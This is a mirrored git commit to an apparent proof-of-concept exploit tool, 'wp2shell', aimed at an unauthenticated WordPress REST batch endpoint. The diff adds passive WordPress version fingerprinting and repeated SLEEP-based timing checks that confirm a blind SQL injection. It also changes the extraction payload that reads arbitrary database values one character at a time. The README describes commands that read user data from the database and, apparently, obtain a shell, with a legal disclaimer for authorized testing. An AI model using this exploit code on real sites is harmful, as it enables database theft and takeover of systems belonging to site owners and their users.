mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Added passive WordPress version checks
This commit is contained in:
@@ -62,7 +62,11 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`.
|
||||
|
||||
### check — confirm the vulnerability (safe)
|
||||
|
||||
Confirms exploitability with a differential time delay. It reads no data and changes nothing.
|
||||
Confirms exploitability with paired differential time delays. It reads no data and changes
|
||||
nothing. By default it sends three baseline/delayed pairs and decides on the median delta, which
|
||||
is more reliable on noisy or rate-limited targets than a single timing comparison. If timing
|
||||
confirmation fails, `check` also looks for passive public WordPress version hints from the REST API
|
||||
generator, the homepage generator meta tag, and core asset `?ver=` query strings.
|
||||
|
||||
```
|
||||
./wp2shell.py check http://target
|
||||
@@ -97,6 +101,7 @@ path. Remove it when finished.
|
||||
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
|
||||
| `--timeout N` | all | Request timeout in seconds. |
|
||||
| `--sleep N` | check | Delay used to confirm the injection. |
|
||||
| `--samples N` | check | Baseline/delayed timing pairs to compare (default 3). |
|
||||
| `--preset` | read | `fingerprint` or `users`. |
|
||||
| `--query` | read | A scalar SQL expression to read. |
|
||||
| `--prefix` | read | Database table prefix (default `wp_`). |
|
||||
@@ -114,7 +119,7 @@ endpoint via the `rest_pre_dispatch` filter.
|
||||
## Legal
|
||||
|
||||
For authorized security testing only. Use it exclusively against systems you own or have explicit
|
||||
written permission to test. The author accepts no liability for misuse.
|
||||
written permission to test. No warranty is provided and no liability is accepted for misuse.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+40
-4
@@ -11,6 +11,7 @@ from . import __version__
|
||||
from .client import BatchClient
|
||||
from .shell import AdminSession
|
||||
from .sqli import BlindSQLi
|
||||
from .version import public_version_hints
|
||||
|
||||
try:
|
||||
import readline # noqa: F401 - enables line editing/history for the interactive prompt
|
||||
@@ -62,6 +63,26 @@ def _client(args: argparse.Namespace) -> BatchClient:
|
||||
)
|
||||
|
||||
|
||||
def _short(text: str, *, limit: int = 96) -> str:
|
||||
if len(text) <= limit:
|
||||
return text
|
||||
return text[: limit - 3] + "..."
|
||||
|
||||
|
||||
def _print_version_hints(client: BatchClient) -> None:
|
||||
hints = public_version_hints(client)
|
||||
if not hints:
|
||||
warn("No public WordPress version hints found.")
|
||||
return
|
||||
|
||||
info("Public WordPress version hints:")
|
||||
for hint in hints:
|
||||
status = "affected range" if hint.affected else "not in affected ranges"
|
||||
print(f" - {hint.version} via {hint.source} ({status}) - {_short(hint.detail)}")
|
||||
if any(hint.affected for hint in hints):
|
||||
warn("A public version hint falls in the affected range; verify internally or confirm with authorization.")
|
||||
|
||||
|
||||
# -- commands ---------------------------------------------------------------
|
||||
|
||||
|
||||
@@ -76,14 +97,23 @@ def cmd_check(args: argparse.Namespace) -> int:
|
||||
probe = client.probe()
|
||||
if probe.status != 207:
|
||||
bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
|
||||
_print_version_hints(client)
|
||||
return 1
|
||||
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
|
||||
|
||||
confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm()
|
||||
if confirmed:
|
||||
good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
|
||||
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
|
||||
if args.samples > 1:
|
||||
details = ", ".join(
|
||||
f"{base:.2f}s->{delay:.2f}s" for base, delay in result.samples
|
||||
)
|
||||
info(f"Timing samples: {details}")
|
||||
info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
|
||||
if result.confirmed:
|
||||
good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||
_print_version_hints(client)
|
||||
return 0
|
||||
bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
|
||||
bad(f"Not vulnerable — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||
_print_version_hints(client)
|
||||
return 2
|
||||
|
||||
|
||||
@@ -224,6 +254,12 @@ def build_parser() -> argparse.ArgumentParser:
|
||||
check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
|
||||
_add_common(check)
|
||||
check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
|
||||
check.add_argument(
|
||||
"--samples",
|
||||
type=int,
|
||||
default=3,
|
||||
help="baseline/delayed timing pairs for confirmation (default: 3)",
|
||||
)
|
||||
check.set_defaults(func=cmd_check)
|
||||
|
||||
read = sub.add_parser("read", help="read from the database via blind SQL injection")
|
||||
|
||||
@@ -75,6 +75,24 @@ class BatchClient:
|
||||
raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None
|
||||
return Response(status, time.monotonic() - start, body)
|
||||
|
||||
def get(self, path: str) -> Response:
|
||||
url = self.base_url + (path if path.startswith("/") else f"/{path}")
|
||||
request = urllib.request.Request(
|
||||
url,
|
||||
method="GET",
|
||||
headers={"User-Agent": self.user_agent},
|
||||
)
|
||||
start = time.monotonic()
|
||||
try:
|
||||
resp = self._opener.open(request, timeout=self.timeout)
|
||||
status, body = resp.status, resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as exc:
|
||||
status, body = exc.code, exc.read().decode("utf-8", "replace")
|
||||
except OSError as exc: # URLError, connection refused, timeout, DNS failure
|
||||
reason = getattr(exc, "reason", exc)
|
||||
raise TargetError(f"cannot reach {url}: {reason}") from None
|
||||
return Response(status, time.monotonic() - start, body)
|
||||
|
||||
def probe(self) -> Response:
|
||||
"""A benign empty batch, used to test whether the endpoint is reachable and open."""
|
||||
return self.post({"requests": []})
|
||||
|
||||
+48
-5
@@ -9,6 +9,8 @@ so a value of ``0) <sql>-- -`` closes the IN() list and appends arbitrary SQL.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import statistics
|
||||
from dataclasses import dataclass
|
||||
from typing import Callable, Optional, Tuple
|
||||
|
||||
from .client import BatchClient
|
||||
@@ -17,6 +19,16 @@ _MIN_PRINTABLE = 32
|
||||
_MAX_PRINTABLE = 126
|
||||
|
||||
|
||||
@dataclass
|
||||
class TimingConfirmation:
|
||||
confirmed: bool
|
||||
baseline: float
|
||||
delayed: float
|
||||
delta: float
|
||||
threshold: float
|
||||
samples: Tuple[Tuple[float, float], ...]
|
||||
|
||||
|
||||
class BlindSQLi:
|
||||
def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None:
|
||||
self.client = client
|
||||
@@ -29,10 +41,40 @@ class BlindSQLi:
|
||||
Returns ``(confirmed, baseline_seconds, delayed_seconds)``. This reads no database
|
||||
content and modifies nothing.
|
||||
"""
|
||||
baseline = self._elapsed("SLEEP(0)")
|
||||
delayed = self._elapsed(f"SLEEP({self.sleep:g})")
|
||||
confirmed = (delayed - baseline) >= (self.sleep - 1.0)
|
||||
return confirmed, baseline, delayed
|
||||
result = self.confirm_timing(samples=1)
|
||||
return result.confirmed, result.baseline, result.delayed
|
||||
|
||||
def confirm_timing(self, *, samples: int = 3) -> TimingConfirmation:
|
||||
"""Confirm injectability with paired timing samples.
|
||||
|
||||
Network jitter makes a single baseline/delayed pair brittle, so this alternates
|
||||
baseline and delayed requests and compares median paired deltas.
|
||||
"""
|
||||
if samples < 1:
|
||||
raise ValueError("samples must be at least 1")
|
||||
|
||||
pairs = []
|
||||
for _ in range(samples):
|
||||
baseline = self._elapsed("SLEEP(0)")
|
||||
delayed = self._elapsed(f"SLEEP({self.sleep:g})")
|
||||
pairs.append((baseline, delayed))
|
||||
|
||||
baselines = [pair[0] for pair in pairs]
|
||||
delayed = [pair[1] for pair in pairs]
|
||||
deltas = [delay - base for base, delay in pairs]
|
||||
baseline_median = statistics.median(baselines)
|
||||
delayed_median = statistics.median(delayed)
|
||||
delta_median = statistics.median(deltas)
|
||||
threshold = max(0.75, self.sleep * 0.65)
|
||||
confirmed = delta_median >= threshold
|
||||
return TimingConfirmation(
|
||||
confirmed=confirmed,
|
||||
baseline=baseline_median,
|
||||
delayed=delayed_median,
|
||||
delta=delta_median,
|
||||
threshold=threshold,
|
||||
samples=tuple(pairs),
|
||||
)
|
||||
|
||||
def extract(
|
||||
self,
|
||||
@@ -44,7 +86,8 @@ class BlindSQLi:
|
||||
"""Read a string-valued SQL expression one character at a time (binary search)."""
|
||||
chars = []
|
||||
for position in range(1, max_length + 1):
|
||||
probe = f"ASCII(SUBSTRING(({expression}),{position},1))"
|
||||
# COALESCE keeps a NULL result from short-circuiting into an empty read.
|
||||
probe = f"ASCII(SUBSTRING(COALESCE(({expression}),''),{position},1))"
|
||||
if not self._true(f"{probe} > 0"):
|
||||
break
|
||||
low, high = _MIN_PRINTABLE, _MAX_PRINTABLE
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
"""Passive WordPress version hints from public resources."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
import urllib.parse
|
||||
from dataclasses import dataclass
|
||||
from html.parser import HTMLParser
|
||||
from typing import Iterable, Optional, Tuple
|
||||
|
||||
from .client import BatchClient, TargetError
|
||||
|
||||
_WORDPRESS_RE = re.compile(r"\bWordPress\s+([0-9]+(?:\.[0-9]+){1,3})\b", re.I)
|
||||
_VERSION_RE = re.compile(r"\b([0-9]+(?:\.[0-9]+){1,3})\b")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class VersionHint:
|
||||
version: str
|
||||
source: str
|
||||
detail: str
|
||||
affected: bool
|
||||
|
||||
|
||||
class _HomepageParser(HTMLParser):
|
||||
def __init__(self) -> None:
|
||||
super().__init__()
|
||||
self.meta_generators = []
|
||||
self.assets = []
|
||||
|
||||
def handle_starttag(self, tag: str, attrs: Iterable[Tuple[str, Optional[str]]]) -> None:
|
||||
values = {name.lower(): value for name, value in attrs if value is not None}
|
||||
if tag.lower() == "meta" and values.get("name", "").lower() == "generator":
|
||||
content = values.get("content")
|
||||
if content:
|
||||
self.meta_generators.append(content)
|
||||
return
|
||||
if tag.lower() in ("link", "script"):
|
||||
asset = values.get("href") or values.get("src")
|
||||
if asset:
|
||||
self.assets.append(asset)
|
||||
|
||||
|
||||
def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]:
|
||||
hints = []
|
||||
seen = set()
|
||||
|
||||
def add(version: Optional[str], source: str, detail: str) -> None:
|
||||
if not version:
|
||||
return
|
||||
key = (version, source)
|
||||
if key in seen:
|
||||
return
|
||||
seen.add(key)
|
||||
hints.append(
|
||||
VersionHint(
|
||||
version=version,
|
||||
source=source,
|
||||
detail=detail,
|
||||
affected=is_affected_version(version),
|
||||
)
|
||||
)
|
||||
|
||||
for path, source in (
|
||||
("/wp-json/", "REST API generator"),
|
||||
("/?rest_route=/", "REST API generator (?rest_route=/)"),
|
||||
):
|
||||
response = _get(client, path)
|
||||
if response is None or response.status >= 400:
|
||||
continue
|
||||
try:
|
||||
body = response.json()
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
if isinstance(body, dict):
|
||||
generator = body.get("generator")
|
||||
if isinstance(generator, str):
|
||||
add(_version_from_generator(generator), source, generator)
|
||||
|
||||
response = _get(client, "/")
|
||||
if response is not None and response.status < 400:
|
||||
parser = _HomepageParser()
|
||||
parser.feed(response.body)
|
||||
for generator in parser.meta_generators:
|
||||
add(_version_from_wordpress_text(generator), "HTML generator meta", generator)
|
||||
for asset in parser.assets:
|
||||
add(_version_from_core_asset(asset), "core asset query string", asset)
|
||||
|
||||
return tuple(hints)
|
||||
|
||||
|
||||
def is_affected_version(version: str) -> bool:
|
||||
parsed = _parse_version(version)
|
||||
if parsed is None:
|
||||
return False
|
||||
return (6, 9, 0) <= parsed <= (6, 9, 4) or (7, 0, 0) <= parsed <= (7, 0, 1)
|
||||
|
||||
|
||||
def _get(client: BatchClient, path: str):
|
||||
try:
|
||||
return client.get(path)
|
||||
except TargetError:
|
||||
return None
|
||||
|
||||
|
||||
def _version_from_generator(value: str) -> Optional[str]:
|
||||
parsed = urllib.parse.urlparse(value)
|
||||
for version in urllib.parse.parse_qs(parsed.query).get("v", []):
|
||||
normalized = _normalize_version(version)
|
||||
if normalized:
|
||||
return normalized
|
||||
return _version_from_wordpress_text(value)
|
||||
|
||||
|
||||
def _version_from_wordpress_text(value: str) -> Optional[str]:
|
||||
match = _WORDPRESS_RE.search(value)
|
||||
return _normalize_version(match.group(1)) if match else None
|
||||
|
||||
|
||||
def _version_from_core_asset(value: str) -> Optional[str]:
|
||||
parsed = urllib.parse.urlparse(value)
|
||||
if "/wp-includes/" not in parsed.path and "/wp-admin/" not in parsed.path:
|
||||
return None
|
||||
for version in urllib.parse.parse_qs(parsed.query).get("ver", []):
|
||||
normalized = _normalize_version(version)
|
||||
if normalized:
|
||||
return normalized
|
||||
return None
|
||||
|
||||
|
||||
def _normalize_version(value: str) -> Optional[str]:
|
||||
match = _VERSION_RE.search(value)
|
||||
return match.group(1) if match else None
|
||||
|
||||
|
||||
def _parse_version(version: str) -> Optional[Tuple[int, int, int]]:
|
||||
normalized = _normalize_version(version)
|
||||
if not normalized:
|
||||
return None
|
||||
parts = [int(part) for part in normalized.split(".")]
|
||||
while len(parts) < 3:
|
||||
parts.append(0)
|
||||
return tuple(parts[:3])
|
||||
Reference in New Issue
Block a user